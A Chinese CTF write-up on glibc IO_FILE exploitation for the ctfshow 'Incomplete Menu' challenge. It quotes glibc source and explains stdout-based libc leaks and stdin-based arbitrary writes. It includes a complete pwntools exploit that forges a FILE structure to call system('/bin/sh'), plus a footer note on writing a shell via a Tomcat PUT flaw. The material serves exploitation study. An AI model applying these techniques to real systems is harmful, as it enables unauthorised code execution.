之前写过一篇 IO_FILE——leak 任意读,但是在学习的时候偷懒了,没有深入去看,这次碰到 winmt 师傅出的题,就傻眼了,故再写一篇博客来记录一下。

例题 ctfshow Incomplete Menu :

洞在 edit 里,可以超过 size 进行一个置零的操作。

这里还是考虑利用 _IO_2_1_stdout_ 来泄露 libc 基址。这里就出现了一个在我上篇文章中忽略的知识点。上一篇文章是通过改 flag 的一系列操作来进行,而 _IO_2_1_stdout_ 还有另一种修改方式可以泄露 libc。及使 _IO_read_end == _IO_write_base,忽略源码在下面:

_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do);
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}

还有本题还有不会的地方就是利用 _IO_2_1_stdin_ 进行任意写,走 io 的函数在读取数据时,会先判断缓冲区是否有数据,如果有数据,无论是否满足需要的数量,那么就会走缓冲区直接先取出来用,再从用户处读进缓冲区。故我们不能让 _IO_read_end > _IO_read_ptr

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
_IO_size_t want, have;
_IO_ssize_t count;
char *s = data; want = n; if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
} while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (want <= have)
{
memcpy (s, fp->_IO_read_ptr, want);
fp->_IO_read_ptr += want;
want = 0;
}
else
{
if (have > 0)
{
s = __mempcpy (s, fp->_IO_read_ptr, have);
want -= have;
fp->_IO_read_ptr += have;
} /* Check for backup and repeat */
if (_IO_in_backup (fp))
{
_IO_switch_to_main_get_area (fp);
continue;
} /* If we now want less than a buffer, underflow and repeat
the copy. Otherwise, _IO_SYSREAD directly to
the user buffer. */
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF)
break; continue;
} /* These must be set before the sysread as we might longjmp out
waiting for input. */
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base); /* Try to maintain alignment: read a whole number of blocks. */
count = want;
if (fp->_IO_buf_base)
{
_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
if (block_size >= 128)
count -= want % block_size;
} count = _IO_SYSREAD (fp, s, count);
if (count <= 0)
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN; break;
} s += count;
want -= count;
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
}
} return n - want;
}

需要注意的是本题是要控制 _IO_read_ptr - _IO_read_end < 16 ,至于为什么,emmm也不是很好说,建议各位自己调试看看。

winmt师傅的exp:

from pwn import *
context(arch='amd64', log_level='debug') io = process("./pwn")
elf = ELF('./pwn')
libc = ELF("./libc-2.27.so") def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset def new(size):
io.sendlineafter(">> ", "1")
io.sendlineafter(">> ", str(size)) def edit(index, length, content):
io.sendlineafter(">> ", "2")
io.sendlineafter(">> ", str(index))
io.sendlineafter(">> ", str(length))
io.sendafter(">> ", content) def new_x(size):
io.sendline("1")
sleep(0.1)
io.sendline(str(size)) def edit_x(index, length, content):
io.sendline("2")
sleep(0.1)
io.sendline(str(index))
sleep(0.1)
io.sendline(str(length))
sleep(0.1)
io.send(content) new(0x200000);
edit(0, 0x201000 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x10 + 1, '\n')
new_x(0x200000);
edit_x(1, 0x201000 * 2 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x20 + 1, '\n')
libc_base = u64(io.recvline()[8:16]) - 0x3ed8b0
success("libc_base:\t" + hex(libc_base)) payload = p64(0)*5 + p64(1) + p64(0) + p64(libc_base + next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc_base + libc.sym['system'])
new(0x200000);
edit(2, 0x201000 * 3 - 0x10 + libc.sym['_IO_2_1_stdin_'] + 0x38 + 1, payload) payload = p64(0xfbad208b)
payload += p64(libc_base + libc.sym['_IO_list_all'] + 132)
payload += p64(libc_base + libc.sym['_IO_list_all']) * 6
payload += p64(libc_base + libc.sym['_IO_list_all'] + 0x10)
payload = payload.ljust(132, b'\x00') + p64(libc_base - (0x201000 * 3 - 0x10)) io.sendlineafter(">> ", payload)
io.interactive()

此外还有一个通过 stdout 的任意写:

  else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */ /* Then fill the buffer. */
if (count > 0)
{
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}

只需把 _IO_write_ptr 改为想要写入的首地址, _IO_write_end 指向写入地址的结尾(或者大一些)即可。

_IO_2_1_stdin_ 任意写及对 _IO_2_1_stdout_ 任意读的补充的更多相关文章

  1. 用java写一个两个任意长度字符串数字和的算法

    package com.cn.test.string; public class StringTest { public static void main(String[] args) { Strin ...

  2. Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

    Apache Tomcat 7.0.0~7.0.79 直接发送以下数据包即可在Web根目录写入shell: PUT /1.jsp/ HTTP/1.1 Host: 192.168.49.2:8080 A ...

  3. js模拟栈---进制转化。十进制转任意进制进制,任意进制转十进制

    var Stack = (function(){ var items = new WeakMap(); //先入后出,后入先出 class Stack{ constructor(){ items.se ...

  4. python 用类方法和静态方法实现是追加写文件内容,和读指定行号的内容

    用类方法和静态方法实现:一个是追加写文件一行内容,一个是读指定行号的内容   #coding=utf-8   class handle_file(object):     def __init__(s ...

  5. 怎样写APP计划书-20150313早读课

    我们每天都会收到拥有APP创意的人们的电话和邮件,他们想知道把这样的APP做出来需要多少钱.在Calvium,我们尽可能帮助他们,但有时候 做这样的报价真的很难.询问一款APP的价值,就和询问一条绳子 ...

  6. FFMpeg笔记(一) 使用FFmpeg将任意格式图片转换成任意格式图片

    void SrcToDest(char* pSrc, char* pDest,unsigned int nSrcWidth, unsigned int nSrcHeight, AVPixelForma ...

  7. 对《分享一下自己用c++写的小地图》一文的补充

    在写完上一篇文章后,发现了一个问题: 那就是编写的插件无法实时预览. 在学习了Slate之后,我找到了方法: 重写SynchronizeProperties函数 头文件中添加: #if WITH_ED ...

  8. javascript常用的基础函数或方法——写给新手的我(持续补充)

    1常用基础函数 alert函数:显示一个警告对话框,包括一个OK按钮.这就是传说中的警告框,此框一弹,世界就清静了.举例:   alert("我一旦出现,之前出现的就算了,我屁股后面你们就歇 ...

  9. Linux多线程实践(6) --Posix读写锁解决读者写者问题

    Posix读写锁 int pthread_rwlock_init(pthread_rwlock_t *restrict rwlock, const pthread_rwlockattr_t *rest ...

随机推荐

  1. Apple历代Mac系统汇总

    编号 系统名 版本号 名称 发布时间 01 macOS 11.0 Big Sur(大惊喜) 2020年6月 02 macOS 10.15 Catalina(卡特琳娜) 2019年9月 03 macOS ...

  2. 测试开发实战[提测平台]19-Echarts图表在项目的应用

    微信搜索[大奇测试开],关注这个坚持分享测试开发干货的家伙. 在图表统计展示方面,笔者目前使用过的两种开源,分别是 Echats 和 G2Plot 组件,从个人使用上来讲前者应用更广.自定义开发更灵活 ...

  3. Python初学笔记之可变类型、不可变类型

    python中 可变类型: 列表 list 字典 dict 不可变类型: 数字型:int.float.complex.bool.long 字符型 str 元组 tuple id(i):通过id查看变量 ...

  4. 线程池之 newSingleThreadExecutor 介绍

    package com.aaa.threaddemo; import java.text.DateFormatSymbols; import java.util.concurrent.Executor ...

  5. AT2650 [ARC077C] guruguru

    可以发现,如果我们枚举每个理想亮度 \(X\) 然后再求在这个理想亮度情况下的答案是非常难维护的. 不妨反过来,考虑每个位置 \(i, i + 1\) 之间对每个理想亮度 \(X\) 减少次数的贡献. ...

  6. MySQL 数据库高级操作 (配图)

    MySQL数据库高级操作 1.一键部署mysql 数据库 2.数据表高级操作 3.数据库用户管理 4.数据库用户授权 1.首先一键部署mysql 数据库 : 可以看我之前的博客 https://www ...

  7. 让我一时不知所措 Linux 常用命令 爱情三部曲 下部

    Linux目录与文件管理 我试着把你忘记,可总在夜里想你~ 1.linux目录结构 2.查看及检索文件 3.压缩及解压缩文件 4.vi文本编辑器 1.Linux目录结构:树形目录结构根目录:所有分区, ...

  8. 简述CGI与FASTCGI区别

    CGI和FASTCGI都是服务器端与客户端进行交互的常见方式. CGI处理客户端请求,会生成一个子进程来专门调用外部程序来处理客户端请求,处理完成,子进程会随之关闭 FAST处理客户端请求时.服务器端 ...

  9. 针对某p社游戏某整合包的研究

    软件分析 垃圾re手 最近在玩群星 创意工坊里面下载了整合包 进群下载排序文件后竟然发现要付费() 28R够吃一顿好的 马上来分析一下这个软件 这是一个四版整合包的mod安装器 其中樱花远征和新星纪元 ...

  10. 12、Linux基础--挂载磁盘步骤、流处理工具awk(正则 比较 逻辑 算数表达式 流程控制)

    笔记 1.晨考 1.用两种方法,实现将文件中的以# 开头的行把# 去掉 sed -r 's/^#//g' /etc/fstab cat /etc/fstab | tr -d '^#' 2.将文件中的H ...